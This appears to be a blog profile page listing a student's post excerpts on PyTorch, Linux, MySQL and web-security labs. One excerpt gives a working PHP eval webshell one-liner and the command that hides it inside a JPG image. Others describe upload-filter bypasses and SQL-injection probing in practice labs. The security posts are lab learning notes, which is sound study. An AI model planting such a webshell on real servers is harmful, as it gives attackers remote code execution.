- 博客(60)
- 资源 (5)
- 收藏
- 关注
原创 优化模型参数
训练一个模型也是一个迭代的过程;在每次迭代中(又称为 epoch),模型会对输出进行一次预测,计算这个预测的误差(损失值),收集这些误差相对于参数的导数,然后通过梯度下降的方式来优化这些参数。
2024-03-19 15:01:00
494
原创 自动微分运算TORCH.AUTOGRAD
的tensor会追踪它的计算历史并支持梯度计算。但是也有我们并不需要这么做的场景,比如,当我们已经训练了模型且只想对一些输入数据应用的时候,比如我们只想做沿着网络的前向计算。要计算这些导数,我们调用loss.backward(),然后从 w.grad 和 b.grad 中获取值。在一个由函数(Function)对象构成的有向无环图中保持一份数据(tensor)以及全部执行的操作(以及产生的新tensor)的记录。注意: PyTorch 中的有向无环图是动态的: 一个重要的观察是这个图是从零重建的;
2024-03-18 15:34:42
493
原创 Build the Neural Network
将数据传递给模型并调用后返回一个 2 维tensor(第0维对应一组 10 个代表每种类型的原始预测值,第1维对应该类型对应的原始预测值)。我们将它传递给一个 nn.Softmax 模块的实例来来获得预测概率。是一个模块的有序容器。可以使用 sequential container(译者注:有序容器,也有的书称之为线性容器)来组成一个快速网络。一个由其他模块(层)组成的神经网络自身也是一个模块。这种嵌套的结构让构建和管理复杂的结构更轻松。神经网络由在数据上进行操作的层/模块构成。
2024-03-07 20:10:59
212
原创 Transforms
所有的 TorchVision 数据集都有两个参数: transform 用于修改特征和 target_transform 用于修改标签,它们接受包含转换逻辑的 callables。对于训练,我们需要将特征作为归一化的tensor,将标签作为独特编码的tensor。:返回一个由标量0填充的张量,形状由size(10)决定,参数可以是一个list 也可以是一个元组。将src中数据根据index中的索引按照dim的方向填进input。:pytorch中,一般函数加下划线代表直接在原来的Tensor上修改。
2024-03-05 17:43:13
289
原创 Datasets&DataLoader
一个自定义的数据集类必须实现三个函数:__init____len__, 和。以 FashionMNIST 数据集为例,它的图片存储在img_dir参数指定的目录中,标签存储在参数指定的CSV文件中。import os# 在实例化数据集对象时,__init__ 函数会运行一次,用于初始化图像目录、标签文件和图像转换属性self.img_labels = pd.read_csv(annotations_file) # 指定标签存储的csv文件。
2024-03-05 17:15:37
442
原创 ERROR: Could not find a version that satisfies the requirement matplotlib (from versions: none)
3、如果还是不行,看自己是不是开了科技,关闭科技才能用清华源。
2024-03-05 15:42:59
384
原创 多模态虚假新闻检测论文分享(1)MVAE: Multimodal Variational Autoencoder for Fake News Detection
仅使用帖子内容(即文本和附加图像)对社交媒体帖子进行假新闻检测
2024-03-04 16:07:57
1984
原创 ResNet: Deep Residual Learning for Image Recognition(CVPR 2015)
正常来说,plain网络(简单的堆叠层数)会随着网络的加深错误率变低的,但事实上训练和测试错误率都升高了,这就是网络的退化问题。此外,网络加深会出现梯度消失或梯度爆炸,妨碍收敛,但这个问题也可以通过正则初始化和BN来解决。
2023-10-23 16:57:57
109
原创 CVPR 2018 基于累积注意力的视觉定位 Visual Grounding via Accumulated Attention 详解
需要注意的是,当查询为短语或句子时,一个香草LSTM足以捕获序列内的关系,因此在这种情况下使用分层架构是不必要的,甚至会导致过拟合。为了决定在图像中的位置,我们采用了图像描述[ 29 ]和VQA [ 14 ]中的通常做法,将图像划分为与提取的特征图相对应的多个区域,并为这些区域分配不同的注意力权重。我们在我们最好的模型Ours - r3上嵌入了一个预训练的词向量[ 18 ],即Ours - r3 ( w2v ),我们观察到它可以显著提高基于A - ATT的模型的性能,这是因为从查询中提取了更好的特征。
2023-10-19 21:25:31
258
原创 Django开发实战BBS(一)
创建应用运行的虚拟环境:virtualenv bbs_python37进入bbs_python37文件目录,启动虚拟环境:activate退出:deactivate先开启服务,之后执行命令登陆服务器:mysql -u root -pCREATE DATABASE django_bbs;CREATE USER work IDENTIFIED BY ‘djangomooc’; djangomooc是密码GRANT ALL ON django_bbs.* TO ‘work’@’%’ WITH..
2022-03-18 17:47:12
1876
1
原创 《算法笔记》02 A+B输入输出练习
输入包含一系列的a和b对,通过空格隔开。一对a和b占一行。对于输入的每对a和b,你需要依次输出a、b的和。#include <cstdio>int main(){ int a,b; while(~scanf("%d%d",&a,&b)) printf("%d\n",a+b); return 0;}第一行是一个整数N,表示后面会有N行a和b,通过空格隔开。对于输入的每对a和b,你需要在相应的行输出a、b的和。#include <cstdi.
2021-03-25 10:54:13
2185
原创 《算法笔记》01
1. 比较交换3个实数值,并按序输出从键盘输入3个实数a, b, c,通过比较交换,将最小值存储在变量a中,最大值存储在变量c中,中间值存储在变量b中,并按照从小到大的顺序输出这三个数a, b, c。末尾输出换行。#include<stdio.h>int main(){ double a,b,c,t; scanf("%lf %lf %lf",&a,&b,&c); if(a>b){ t=a; a=b;
2021-03-24 21:55:42
463
原创 如何彻底卸载VMware
一、停掉VMware服务右击“我的电脑”–>“管理”–>“服务和应用程序”–>“服务”,停掉vm开头的服务二、删除注册表的vm目录windows+R,输入regedit找到software目录和system目录下的vm开头的文件夹(打开看一下有没有VMware文件),然后删掉这个文件三、打开“任务管理器”,停掉VMware进程四、在程序和功能处删掉vmware workstation...
2020-12-19 14:15:20
7693
3
原创 数字图像处理——图像的点运算
图像的点运算一、灰度直方图(imhist)二、灰度线性变换(imadjust)三、灰度非线性变换1、灰度对数变换(log)2、灰度幂次变换3、灰度指数变换(exp)四、灰度阈值变换(im2bw)五、灰度拉伸六、灰度均衡(histeq)七、直方图匹配(规定化)——————————————————————————————————————————————————————————————图像的点运算主要用于改变一幅图像的灰度分布范围,点运算通过变换函数将图像的像素一一转换,最终构成一副新的图像。点运算的最大特
2020-10-28 15:09:48
4030
1
原创 数字图像处理——二值、灰度和彩色图像,位图切割
matlab是按行编译,一行一行编译,不写分号,就会直接出来编译结果数字图像处理图像:用二维函数f(x,y)表示,f(x,y)是点(x,y)的幅值。灰度级:0~255 ==》256个灰度级层次:图像实际拥有灰度级的数量对比度:灰度反差的大小二值图像(binary image):图像上的每一个像素只有两种可能的取值或灰度等级状态。每个像素只需要1Bit就可以完整存储信息灰度图像:灰度图只包含一个通道的信息,每个采样像素需要8位存储信息。f(x,y)取值在0~255彩色图像:3个f(x,
2020-10-26 21:28:01
2894
原创 详解ping
PING (Packet Internet Groper),因特网包探索器,用于测试网络连接量的程序 。Ping是工作在 TCP/IP网络体系结构中应用层的一个服务命令, 主要是向特定的目的主机发送 ICMP(Internet Control Message Protocol 因特网报文控制协议)请求报文,测试目的站是否可达及了解其有关状态ping成功只保证当前主机与目的主机间存在一条连通的物理路径ICMP是一种将差错与控制集于一体的协议,不仅用于传输差错报文,还用于消息控制报文。它与IP协议相互依赖:
2020-10-06 21:15:17
3128
原创 c:\Windows\System32\drivers\etc\hosts
c:\Windows\System32\drivers\etc\hosts是域名解析文件。可以直接用记事本打开。将IP地址重定向。 格式为:ip地址-空格-域名 可以将一个域名重新定向到一个IP Hosts文件配置的映射是静态的,如果网络上的计算机更改了请及时更新IP地址,否则将不能访问可以设置HOSTS文件来屏蔽网站 :127.0.0.1 www.XXXX.com #屏蔽的网站0.0.0.0 www.XXXX.com #屏蔽的网站这样计算机解析域名就解析到本机或错误的IP,
2020-10-06 11:25:51
2861
1
原创 ifconfig
ifconfig是linux中用于**显示或配置网络设备(网络接口卡)**的命令。用ifconfig命令配置的网卡信息,在网卡重启后机器重启后,配置就不存在。要想将配置信息永远的存在电脑里,那就要修改网卡的配置文件。ifconfig -a 显示全部接口信息ifconfig -s 显示摘要信息ifconfig <interface> <address> 为网卡设置IPv4地址。ifconfig <interface> add <address> 给
2020-10-06 11:10:29
294
原创 图片马制作
找到一张比较小的图片,命名为1.jpg,如下图:打开一个文本文档,输入:<?php @eval($_POST['123']);?>直接将文件名改为1.php在图片和木马所在的文档打开cmd,输入:copy 1.jpg/b+1.php 2.jpg2.jpg即为图片马,用记事本打开,在一堆乱码的末尾可以看到我们的一句话木马...
2020-10-04 20:12:21
502
原创 Web安全——文件上传漏洞实战01--03(仅方法,无原理讲解)
1. 靶场安装1.1 安装phpstudy下载安装链接: link.也可以去官网直接下载1.2 安装Firefox浏览器链接: link.也可以去官网直接下载1.3 安装ProxySwitchyOmega及代理设置进入之后直接安装选项——>常规——>网络设置默认8080端口之后设置omega如果出现:代理服务器拒绝连接打开左下角电脑自带搜索功能搜索 Internet选项,进入设置1.4 进入靶场靶场链接: link.下载之后解压缩,将其放入p
2020-10-03 18:16:04
420
原创 Burp Suite代理配置问题——127.0.0.1: 8080抓不到包
正常情况:浏览器代理也配置为127.0.0.1 端口为:8080出现的问题一:Burpsuite无法启动proxy server。Proxy——>options里的running那栏勾选不上。问题描述:Burpsuite正常运行后进入界面。发现Proxy——>options里默认的127.0.0.1:8080前面running那栏勾选不上。在Alerts是这样的语句Failed to start proxy service on 8080.Check whether anothe
2020-10-03 17:22:39
24307
10
原创 Web安全——文件上传漏洞原理讲解
一、 基础知识Web应用程序在处理用户上传的文件操作时,如果用户上传文件的路径、文件名、扩展名成为用户可控数据,就会导致直接上传脚本木马到web服务器上,直接控制web服务器。上传——>访问——>解析——>防护文件上传功能本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。01 造成恶意文件上传的原因(1)文件上传时检查不严比如应用在文件上传时根本没有进行文件格式检查,导致攻击者可以直接上传恶意文件。或应用仅仅在
2020-09-26 10:18:54
1495
原创 linux学习04——Linux 目录结构及文件基本操作
一、目录结构Linux 是以树形目录结构的形式来构建整个系统的。虽然本质上无论是目录结构还是操作系统内核都是存储在磁盘上的,但从逻辑上来说 Linux 的磁盘是“挂在”(挂载在)目录上的,每一个目录不仅能使用本地磁盘分区的文件系统,也可以使用网络上的文件系统。使用 cd 命令可以切换目录,在 Linux 里面使用.表示当前目录,.. 表示上一级目录,使用 ls -a 命令查看隐藏文件,- 表示上一次所在目录,~ 通常表示当前用户的 home 目录。使用 pwd 命令可以获取当前所在路径(绝对路径)。
2020-09-24 21:08:24
98
原创 linux学习——作业1
添加一个用户 loutest,使用 sudo 创建文件 /opt/forloutest,设置成用户 loutest 可以读写。提示: 如何创建一个文件呢?可以考虑 touch 命令,执行 sudo touch /opt/forloutest 这个命令可以创建一个空文件,但前提是执行这个命令的 loutest 用户需要具备 sudo 权限。创建用户sudo adduser loutest将其它用户加入 sudo 用户组sudo usermod -G sudo lilei...
2020-09-24 19:19:06
318
原创 linux学习03——用户及文件权限管理
Linux 是一个可以实现多用户登录的操作系统,比如“李雷”和“韩梅梅”都可以同时登录同一台主机,他们共享一些主机的资源,但他们也分别有自己的用户空间,用于存放各自的文件。但实际上他们的文件都是放在同一个物理磁盘上的甚至同一个逻辑分区或者目录里,但是由于 Linux 的 用户管理 和 权限机制,不同用户不可以轻易地查看、修改彼此的文件。一 用户1 查看用户终端输入who am i# 或者who mom likes输出的第一列表示打开当前伪终端的用户的用户名(要查看当前登录用户的用户名,去
2020-09-23 21:01:30
167
原创 linux学习02——基础命令
这是 Linux 下的一个纯文本编辑器,但你也可以把它用来当成是一个集成开发环境 (IDE), 它会根据不同的语言高亮显现关键字和标识符。cd Code 切换到Code目录下方touch hello_shiyanlou.c 创建名为hello_shiyanlou.c的文件gedit hello_shiyanlou.c 用gedit把文件打开gcc -o hello_shiyanlou hello_shiyanlou.c 目录下生成了一个名为hello_shiyanlou的文件,这是C语言程序
2020-09-23 19:40:24
106
1
原创 linux学习01——了解
Linux是一 类Unix计算机操作系统的统称。Linux操作系统的内核的名字也是“Linux”。Linux这个词本身只表示Linux内核,但在实际上人们已经习惯了用Linux来形容整个基于Linux内核,并且使用GNU 工程各种工具和数据库的操作系统。发行版为许多不同的目的而制作, 包括对不同计算机结构的支持, 对一个具体区域或语言的本地化,实时应用,和嵌入式系统,甚至许多版本故意地只加入免费软件。已经有超过三百个发行版被积极的开发,最普遍被使用的发行版有大约十二个。Fedora CoreDebi
2020-09-23 10:57:08
58
原创 使用Pycharm里的Database对数据库进行可视化操作
1、settings里配置数据库信息# Database# https://docs.djangoproject.com/en/2.0/ref/settings/#databases#MysqlDATABASES = { 'default': { 'ENGINE': 'django.db.backends.mysql', 'NAME': 'django', 'USER': 'django', 'PASSWORD': 'qq445
2020-09-22 10:49:42
675
原创 mysql下载与安装,修改密码
地址:https://dev.mysql.com/downloads/mysql/zip格式是自己解压,解压缩之后要进行环境变量配置我的电脑->属性->高级->环境变量选择Path,在其后面添加: 你的mysql bin文件夹的路径 :F:\mysql\mysql-5.7.24-winx64\mysql-5.7.24-winx64\bin;配置完环境变量之后,在F:\mysql\mysql-5.7.24-winx64\mysql-5.7.24-winx64目录下新增加一个配置
2020-09-14 19:06:43
151
原创 sqli-labs之less3
please input the id as parameter with numeric value 请以数字值作为参数输入用户标示符?id=0不成功?id=1成功?id=1'时显示You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1?id=1''成功 (不用
2020-09-11 11:34:45
142
原创 sqli-labs之less2
Please input the ID as parameter with numeric value:请以数字值作为参数输入用户标示符?id=0 不存在?id=1 存在?id=0‘时 ‘’ LIMIT 0,1’
2020-09-11 10:52:21
265
转载 SQL注入攻击流程
1. 判断SQL注入点本质原理是:找一个需要后台处理后提交给数据库的点(所有的输入只要和数据库进行交互的,都有可能触发SQL注入)一般为三大类:Get参数触发SQL注入POST参数触发SQL注入Cookie触发SQL注入而验证是否存在注入点的方法有很多种最常规,也最简单的方法,引入单引号判断是否存在注入点?id=100’ 返回错误说明有可能注入?id=100 and 1=1 返回正常?id=100 and 1=2返回错误如果满足上面三点,是注入点的可能性就很高了2. 判断注入类型
2020-09-11 10:04:01
2547
原创 sqli-labs之less1
题目提示输入id作为参数数值浏览器通常使用 ? 来表示GET方法传递参数,而使用POST传递参数是不会显示到URL中的。首先尝试传递 id=0传递id=1试一下发现查询成功,证明1是存在的下面接着以0为例子加上 ‘ 来试试%27 是指 ’ 的编码发现页面回显且报错报错信息的最后面的内容:use near ’‘0’‘ LIMIT 0,1’ at line 1,仔细观察,我们都知道php的语句如果有 ’ 的话,肯定要有另一个 ‘ 来进行闭合,不然就是不完整的语句。那我们不妨.
2020-09-10 16:47:00
222
原创 Upload-labs上传漏洞01
第一次接触,如有问题,请多多指教 >_<upload-labs界面选择一个文件上传这里显示上传不成功,只接受图片文件打开burp进行抓包,这里可以看到刚刚的上传操作中burp并没有抓到包,所以文件类型的判断应该是在前端进行的F12打开开发者工具,查看前端代码,可以发现文件类型的判断应该是由onsubmit绑定的函数实现的,因此可以直接删除该段代码。在该行右击,编辑HTML,进行删除重新选择文件进行上传,可以看到这次的上传成功了...
2020-09-09 10:34:51
262
原创 PHP——syntax error, unexpected ‘$bar‘ (T_VARIABLE) in
错误:syntax error, unexpected ‘$bar’ (T_VARIABLE) in解决方案:是否缺少;代码是复制粘贴,存在许多空格,需要删掉
2020-08-24 22:02:27
1008
原创 SM3
SM3密码杂凑算法适用于商用密码应用中的数字签名和验证,消息认证码的生成与验证以及随机数的生成,可以满足多种密码应用的安全需求。输入长度<2^64bit输出256bit散列值
2020-08-22 09:22:30
5278
原创 Hash算法——MD4 and MD5
MD4 由Ron Rivest设计 1990年特点:对任意长度的输入,产生128位输出;其安全性不依赖任何假设,适合高速实现MD4公布不久,一些密码学家发现,如果去掉MD4算法的第一轮和最后一轮,则算法是不安全的,但他们并没有证明整个算法是不安全的。MD5 由Ron Rivest设计 1991年对MD4的改进输入分组 512bit输出 128bit...
2020-08-22 08:50:52
2397
原创 密钥——秘密的精华
会话密钥:每次通信只能使用一次的密钥主密钥:一直被重复使用的密钥内容加密密钥CEK:会话密钥密钥加密密钥KEK:主密钥一. 密钥的管理1. 生成密钥(1)用随机数生成密钥(2)用口令生成密钥将口令输入单向散列函数,然后将得到的散列值作为密钥使用。为防止字典攻击(一种事先进行计算并准备好候选密钥列表的方法),需要在口令上加盐(随机数),然后输入单向散列函数,即“基于口令的密码PBE”2. 配送密钥事先共享密钥/使用密钥分配中心/使用公钥密码Diffie-Hellman密钥交换:通信双方
2020-08-22 08:11:45
300
原创 随机数——不可预测性的源泉
一. 随机数的性质随机性——不存在统计学偏差,是完全杂乱的数列弱伪随机数不可预测性——不能从过去的数列推测出下一个出现的数强伪随机数不可重现性——除非将数列本身保存下来,否则不能重现相同的数列真随机数反复掷骰子生成的数列具备不可重现性!二. 伪随机数生成器PRNG1.杂乱的方法使用复杂算法所生成的数列大多数都会具有很短的周期。如果程序员不能够理解算法的详细内容,那么就无法判断出所生成的随机数是否具备不可预测性。2.线性同余法Rn+1 = (A*Rn+C)modM将当前的伪随
2020-08-22 08:11:12
1830
Burp Suite安装包burp.zip
2020-09-27
Firefox-ESR-full-latest.exe
2020-09-27
冰蝎Bhinder下载安装包
2020-09-26
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人